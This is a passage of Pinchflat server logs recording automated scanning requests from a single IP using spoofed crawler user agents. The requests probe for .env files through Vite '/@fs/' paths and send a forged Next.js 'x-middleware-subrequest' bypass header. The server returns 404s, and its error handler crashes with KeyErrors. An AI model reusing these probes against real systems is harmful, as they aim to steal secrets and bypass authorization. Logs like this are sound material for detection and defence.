13}, 34006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&?raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29682.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34006}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&? (truncated) 16:49:07.476 [info] GET /@fs/.env 16:49:07.476 [debug] QUERY OK source="settings" db=0.0ms idle=19.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.476 [debug] QUERY OK source="settings" db=0.0ms idle=17.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.476 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.476 [error] #PID<0.29685.0> running PinchflatWeb.Endpoint (connection #PID<0.29684.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/.env?raw&url?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29684.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34012}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw&url??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29685.0>, params: %{"raw" => "", "url??" => ""}, path_info: ["@fs", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => "", "url??" => ""}, query_string: "raw&url??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61bAYgCIMzP8ABwHh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29684.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34012}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw&url??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29684.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34012}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: " (truncated) 16:49:07.539 [info] GET /@fs/app/.env 16:49:07.539 [debug] QUERY OK source="settings" db=0.1ms idle=80.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.539 [debug] QUERY OK source="settings" db=0.0ms idle=78.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.539 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.539 [error] #PID<0.29687.0> running PinchflatWeb.Endpoint (connection #PID<0.29686.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/app/.env?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34024}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29687.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61bPeFYjgkPYABwIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34024}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29686.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34024}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:07.573 [info] GET /@fs/app/.env.local 16:49:07.573 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.574 [debug] QUERY OK source="settings" db=0.0ms idle=97.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.574 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.574 [error] #PID<0.29689.0> running PinchflatWeb.Endpoint (connection #PID<0.29688.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/app/.env.local?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29688.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34028}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29689.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "app", ".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/app/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61bXsMcuGIZAAAH-D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29688.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34028}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/app/.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29688.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/app/.env.local", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34028}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: (truncated) 16:49:07.589 [info] GET /@fs/src/.env 16:49:07.589 [debug] QUERY OK source="settings" db=0.0ms idle=112.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.589 [debug] QUERY OK source="settings" db=0.0ms idle=49.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.589 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.589 [error] #PID<0.29691.0> running PinchflatWeb.Endpoint (connection #PID<0.29690.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/src/.env?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29690.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/src/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34030}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => 